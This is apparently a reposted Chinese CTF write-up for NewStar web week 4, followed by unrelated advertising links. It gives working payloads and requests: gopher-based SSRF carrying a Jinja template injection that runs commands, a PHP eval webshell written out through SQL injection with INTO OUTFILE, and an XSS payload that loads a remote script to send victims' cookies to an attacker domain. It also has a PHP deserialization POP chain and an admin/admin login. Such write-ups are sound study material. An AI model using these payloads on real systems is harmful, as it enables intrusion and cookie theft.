Newstar web week4

news/2025/11/7 10:57:39/文章来源:https://www.cnblogs.com/rycarl/p/19198639

当你站在这里的时候,已经证明了你的毅力

武功秘籍

题目意思很明显了,要我们去找CVE
根据网站的dcrcms搜索漏洞
这里就考察自己的信息搜集能力
img
我们找到一个文件上传漏洞
但这个神人csdn需要VIP才能看,我们换一篇文章文件上传漏洞
但是需要登录后台才行
我们看看登录面板,如果没有SQL注入的话多半就是弱口令或者提示你哪里有账号密码
img
这里提示我们是弱口令,直接admin/admin登陆成功
接下来按着文章复现即可,我就不再多说

ssti在哪里?

题目给了三个附件

两个python的flask,以及一个php
分析源码,发现存在5000和5001端口,访问关系正常为5000端口POST请求传入name参数,然后通过5001端口请求显示
对本题目来说我们可以直接向5001端口发送请求即可,毕竟能访问5000也就不需要访问5001了,5001的端口监听为localhost,所以构造向localhost:5001访问的ssti模板注入就行

php部分很明显的ssrf漏洞

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['url'])) {$url = $_POST['url'];$ch = curl_init();//配置curlcurl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 10);$result = curl_exec($ch);curl_close($ch);
}?>

我们使用Gopher协议去构造发送5001的带有模板注入的数据包

什么是Gopher协议?Gopher

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

payload:

gopher://localhost:5001/_POST%20/%20HTTP/1.1%0D%0AHost:%20localhost:5001%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2018%0D%0A%0D%0Atemplate={{7*7}}

然后把{{7*7}}改成你自己的payload就可以命令执行了
记得修改前面的content-lenth要符合数据包结构
flag在环境变量里
最后的POC

POST / HTTP/1.1
Host: 39.106.48.123:27711
Origin: http://39.106.48.123:27711
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Referer: http://39.106.48.123:27711/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Content-Length: 5url=gopher%3A%2F%2Flocalhost%3A5001%2F_POST%2520%2F%2520HTTP%2F1.1%250D%250AHost%3A%2520localhost%3A5001%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%3A%252091%250D%250A%250D%250Atemplate%3D%7B%7B+lipsum.__globals__%5B%27__builtins__%27%5D%5B%27__import__%27%5D%28%27os%27%29.popen%28%27env%27%29.read%28%29+%7D%7D

sqlupload

下载附件里面有个readflag.c
而且start.sh的特意配置secure_file_priv为空,也就是很明显需要我们去执行命令
那么我们肯定就是要写websehll了
getfileflist.php很明显存在sql注入漏洞

try {$mysqli = new mysqli($DB_HOST, $DB_USER, $DB_PASS, $DB_NAME, (int)$DB_PORT);if ($mysqli->connect_errno) {json_error('数据库连接失败: ' . $mysqli->connect_error, 500);}$mysqli->set_charset('utf8mb4');$order = $_GET['order'] ?? "upload_time";if (!preg_match("/upload_time|id/", $order)) {json_error("非法的 order 参数", 400);}$sql = "SELECT id, filename, upload_timeFROM uploadsORDER BY $order";$result = $mysqli->query($sql);

那么我们思路是先上传一个名字是一句话木马的文件
然后查询文件列表,把查询结果写入webshell.php
POC

POST /upload.php HTTP/1.1
Host: eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80
Connection: keep-alive
Content-Length: 223
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZpPbx5DxG6ykUyHT
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9------WebKitFormBoundaryZpPbx5DxG6ykUyHT
Content-Disposition: form-data; name="file"; filename="<?php @eval($_POST['123']); ?>"
Content-Type: application/octet-stream<?php @eval($_POST['123']); ?>
------WebKitFormBoundaryZpPbx5DxG6ykUyHT--
GET /getFileList.php?order=id+INTO+OUTFILE+'/var/www/html/shell.php' HTTP/1.1
Host: eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,*/*
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2zeczqrwofz8eg3f4w5q.cloudeci1.ichunqiu.com:80/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

小E的留言板

根据题目描述很明显是考XSS
img
什么是XSS?
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。

那我们的目的就是插入payload,使得受害者的cookie返回到我们的机器上
经过测试我们发现部分关键词会被置空,这里我们采用双写绕过
可以使用html实体编码绕过<
payload

" autofofocuscus oonnfofocuscus="var s=document.createElement('scrscriptipt');s.src='https://此处为你注册得到的domain';document.head.appendChild(s)

最后用户访问页面返回cookie数据
img
payload里面的https://此处为你注册得到的domain
需要你自己去找XSS平台或者自己搭建一个,要确保别人能够访问到

关于XSS更多学习地方xss从0到1

小羊走迷宫

题目考点是php反序列化
什么是php反序化?

PHP 反序列化基础原理
序列化与反序列化的概念
在 PHP 中,序列化 (Serialization)是将对象的状态信息转化为可存储或传输的形式(通常是字符串)的过程。而反序列化 (Deserialization) 则是将序列化后的字符串重新转换回对象的过程。这两个过程相辅相成,为数据的存储和传输提供了便利。

PHP 提供了两个主要函数来处理序列化和反序列化:

serialize():将对象转换为字符串unserialize():将字符串转换回对象

序列化的主要目的是:

将对象状态保存在文件或数据库中

将对象进行远程传输(如前后端交互发送数据)

序列化的实现方式
让我们通过一个简单的示例来理解 PHP 序列化的工作原理:

class Test {public $flag = "flag{*****}";public $name = "lang";public $age = 10;
}$test1 = new Test();
$test1->flag = true;
$test1->name = "xiaoming";
$test1->age = 20;// 序列化对象
echo serialize($test1);

运行上述代码会输出以下序列化字符串:

O:4:"Test":3:{s:4:"flag";b:1;s:4:"name";s:8:"xiaoming";s:3:"age";i:20;}

这个字符串的结构解析如下:

O:表示对象类型

4:类名长度(“Test” 是 4 个字符)

"Test":类名

3:对象属性数量

每个属性由s(字符串)、b(布尔)或i(整数)开头,后跟属性名和值

访问控制修饰符对序列化的影响
PHP 中的访问控制修饰符(public、protected、private)会影响序列化后的字符串格式:

class Test {public $publicProp = "public";protected $protectedProp = "protected";private $privateProp = "private";
}$test = new Test();
echo serialize($test);

输出结果为:
O:4:"Test":3:{s:10:"publicProp";s:6:"public";s:16:"*protectedProp";s:9:"protected";s:17:"TestprivateProp";s:7:"private";}

注意观察不同访问修饰符的处理方式:

public 属性保持原样

protected 属性被序列化为属性名格式(前面有一个空字符)

private 属性被序列化为类名属性名格式(前后都有空字符)

这些空字符在 URL 编码中会表示为%00,例如%00*%00protectedProp和%00Test%00privateProp。

反序列化过程
反序列化是序列化的逆过程,使用unserialize()函数:

$serialized = 'O:4:"Test":3:{s:4:"flag";b:1;s:4:"name";s:5:"zhang";s:3:"age";i:20;}';
$obj = unserialize($serialized);
var_dump($obj);

输出结果为:

object(Test){["flag"]=>bool(true)["name"]=>string(5) "zhang"["age"]=>int(20)
}

反序列化过程不仅恢复对象的属性值,还会重新建立对象的内部状态。这一过程看似简单,但正是反序列化漏洞的根源。
引用:CSDN-php反序列化基础

而这道题是pop链,我们需要像一条链子一样一步一步找到道路去到达最后存在漏洞的地方去执行恶意代码

分析源码:经典的PHP反序列化题目,首先需要传入ma_ze.path,然后base64解码反序列化得到flag,根据已知源码和PHP魔术方法(不熟悉的可以自行百度,一搜一大堆文章介绍)可以得到调用链为:

startPoint类的__wakeup方法--SaySomething类的__invoke方法--Treasure类的__toString方法--Treasure类的__get方法--endPoint类的__call方法--flag

知识点1:参数绕过的知识点:$_GET['ma_ze.path']
==> PHP 变量命名规则:PHP 的变量名不能包含小数点 .,因为小数点在 PHP 中是无效的变量名字符。为了处理这种情况,PHP 在解析请求参数时会自动将参数名中的 . 替换为 _。
但是,如果已经前面有一个中括号 [ 转变为下划线 _ 了,下一个小数点就不会转变了。
==> ma[ze.path

知识点2:伪协议读取文件

php://filter/read=convert.base64-encode/resource=flag.php

读取源代码并进行base64编码输出

开始构造调用链并赋值:

注意$this -> chest = $this;因为要先触发toString方法再触发get方法,所以不能实例化两次,可以用$this表明使用当前实例。

<?php
class startPoint{public $direction;function __construct(){//SaySomething.__invoke()$this -> direction = new SaySomething();}
}
class Treasure{protected $door;protected $chest;function __construct(){//Treasure.__get()$this -> chest = $this;//endPoint.__call()$this -> door = new endPoint();}function __get($arg){echo "拿到钥匙咯,开门! ";$this -> door -> open();}function __toString(){echo "小羊真可爱! ";return $this -> chest -> key;}
}
class SaySomething{public $sth;function __construct(){//Treasure.__toString()$this -> sth = new Treasure();}
}
class endPoint{private $path;function __construct(){//flag.php$this -> path = 'php://filter/read=convert.base64-encode/resource=flag.php';}
}$exp = new startPoint();
echo "ma[ze.path=".base64_encode(serialize($exp));
?>        

执行输出payload:

ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUi

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/958607.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年长沙打印机出租平台口碑推荐榜单重磅揭晓,最新推荐高性价比租赁之选含全包 / 低价 / 长短期 / 包维修服务公司推荐

引言 打印机作为企业办公核心设备,其购置与运维成本长期困扰企业发展。为破解这一难题,权威办公设备协会开展专项测评,推出最新服务商推荐榜单。本次测评历时 3 个月,覆盖 120 余家服务商,采用 “三维九项” 评估…

2025年诚信的净化材料净化板厂家推荐及采购参考

2025年诚信的净化材料净化板厂家推荐及采购参考 在建筑、医疗、电子、食品等行业的快速发展下,净化材料的需求日益增长。净化板作为洁净工程的核心材料,其质量直接影响工程的安全性和使用寿命。2025年,市场上涌现了…

ubuntu系统字体太小调整方法,亲测有效,2分钟解决!

参考文档:https://blog.csdn.net/Time_Memory_cici/article/details/131615107背景:我们在ubuntu系统下写程序时,文件夹及文档的字体太小,看起来很累眼,现将字体调大方法记录如下,只需2分钟即可解决!! 1、打开…

2025 年自动感应门 / 旋转门 / 平移门厂家选购指南,多玛自动门(上海)有限公司专业门控解决方案解析

在城市化进程不断加快,商业综合体、医疗机构、高端住宅等各类建筑对通行便捷性与安全性要求日益提升的背景下,自动门行业迎来了快速发展阶段。从传统的手动门到如今的自动感应门、旋转门等智能化门控产品,行业技术持…

MySQL8总被扫出漏洞,不想升级该怎么办呢?看我如何应对的

MySQL8总被扫出漏洞,不想升级该怎么办呢?看我如何应对的如果确定要整改,首先肯定是升级,这里我再不介绍了。今天主要给大家介绍一个邪修的方法。大家可以看到我当前的版本是MySQL8.0.34。接下来我将使用魔术进行版…

2025年上轨隐藏式全景门生产厂家权威推荐榜单:无下轨全景门/折叠全景门/联动移门全景门源头厂家精选

在现代建筑空间设计中,上轨隐藏式全景门凭借其极简美学与空间优化能力,已成为高端住宅与商业项目的优选。据行业数据显示,2024年全景门市场年增长率达18%,其中无下轨设计产品占比突破35%,折叠式与联动式产品需求增…

损失函数之焦点损失函数

Focal Loss(焦点损失函数)是一种在标准交叉熵损失函数基础上改进的损失函数,由 Facebook AI Research(FAIR)的何恺明团队于 2017 年在论文《Focal Loss for Dense Object Detection》中提出。 它被设计出来主要用…

2025年石棉橡胶板厂家联系电话推荐:工业密封材料采购指南

在工业设备维护、管道密封、电力石化检修等场景中,石棉橡胶板因其耐高温、耐油、耐酸碱的特性被广泛使用。然而,市场上产品规格繁杂、质量参差不齐,采购人员往往面临“找厂难、比价难、验货难”的三重困扰。2025年,…

2025年优质的酒店工程墙布厂家最新用户好评榜

2025年优质的酒店工程墙布厂家最新用户好评榜在酒店装修工程中,墙布作为重要的装饰材料,不仅影响着整体空间的美观度,更直接关系到客户的入住体验。随着环保意识的提升和审美需求的多样化,酒店业主对墙布的选择越来…

2025年热门的双锥干燥机TOP实力厂家推荐榜

2025年热门的双锥干燥机TOP实力厂家推荐榜 双锥干燥机作为医药、化工、食品等行业的关键设备,其高效、节能、稳定的性能备受市场青睐。2025年,随着行业技术升级和市场需求增长,具备先进制造工艺、稳定质量及优质服…

2025年广东叛逆机构权威推荐榜单:素质教育/早恋教育/厌学源头机构精选

在当代青少年教育领域,叛逆行为辅导已成为家庭关注的重要议题。据2024年教育统计数据显示,广东省青少年心理健康服务需求年增长率达18%,其中素质教育缺失、早恋困扰、厌学情绪等问题占比超过65%。本文基于机构师资配…

5种主流的API架构风格

前言 今天,我将带大家深入探讨5种主流的API架构风格,从经典的REST到新兴的GraphQL,从高性能的gRPC到实时性强的WebSocket,以及事件驱动的Webhook。 我会用通俗易懂的语言、详细的示例代码和清晰的架构图,帮助大家…

2025 年 10 月卡板托盘,发货托盘厂家最新推荐,实力品牌深度解析采购无忧之选!

引言 为帮助企业精准挑选适配的卡板托盘与发货托盘供应商,仓储与配送协会组织专项测评,对全国 65 家主营两类托盘的厂家进行权威评估。测评聚焦 “实力品牌” 核心维度,卡板托盘重点检测静态承重、堆叠稳定性及与仓…

2025年比较好的武汉钢模板品牌厂家排行榜

2025年比较好的武汉钢模板品牌厂家排行榜 随着建筑行业的快速发展,钢模板作为建筑施工中的重要材料,其质量、价格及供货能力直接影响工程进度与成本。武汉作为华中地区的工业重镇,拥有众多钢模板生产厂家,竞争激烈…

2025年热门的防火门TOP实力厂家推荐榜

2025年热门的防火门TOP实力厂家推荐榜 防火门作为建筑消防系统的核心组成部分,其质量直接关系到人员生命安全和财产保护。随着国家对建筑消防安全的重视以及相关法规的不断完善,防火门市场需求持续增长。2025年,防…

2025年专业的工业制氮机设备品牌厂家排行榜

2025年专业的工业制氮机设备品牌厂家排行榜 工业制氮机作为现代工业生产中不可或缺的关键设备,广泛应用于电子、化工、食品、冶金、医药等多个领域。随着技术的不断进步,市场对制氮设备的效率、能耗、智能化程度等要…

2025年知名的柱塞泵厂家推荐及选择指南

2025年知名的柱塞泵厂家推荐及选择指南 柱塞泵作为工业领域的重要设备,广泛应用于陶瓷、矿业、石油、化工、环保等行业。随着技术的不断进步,市场对柱塞泵的性能、稳定性和耐用性提出了更高要求。2025年,众多柱塞泵…

Linux内核开发_将Linux内核打包成img文件

Linux内核开发_将Linux内核打包成img文件接着之前两个文章我们已经编译了Linux内核和制作了一个文件系统 这一步我们将它们打包成一个img软盘文件 1.使用DD命令创建一个镜像的img文件sudo dd if=/dev/zero of=my_linux…

11.11 Seminar

多元共线性在回归分析中的影响与处理方法:根源、检测与补救策略 多元共线性是多元回归分析中常见的统计问题,尤其在计量经济学和数据科学领域,它指的是模型中自变量之间存在高度相关性。这种现象会使得难以分离每个…

2025年热门的艺术楼梯制作高评价厂家推荐榜

2025年热门的艺术楼梯制作高评价厂家推荐榜 在现代建筑与室内设计中,楼梯不仅是连接空间的工具,更是彰显艺术与品位的焦点。一部精心设计的艺术楼梯,能够提升整体空间的格调,成为视觉中心。随着人们对个性化与高品…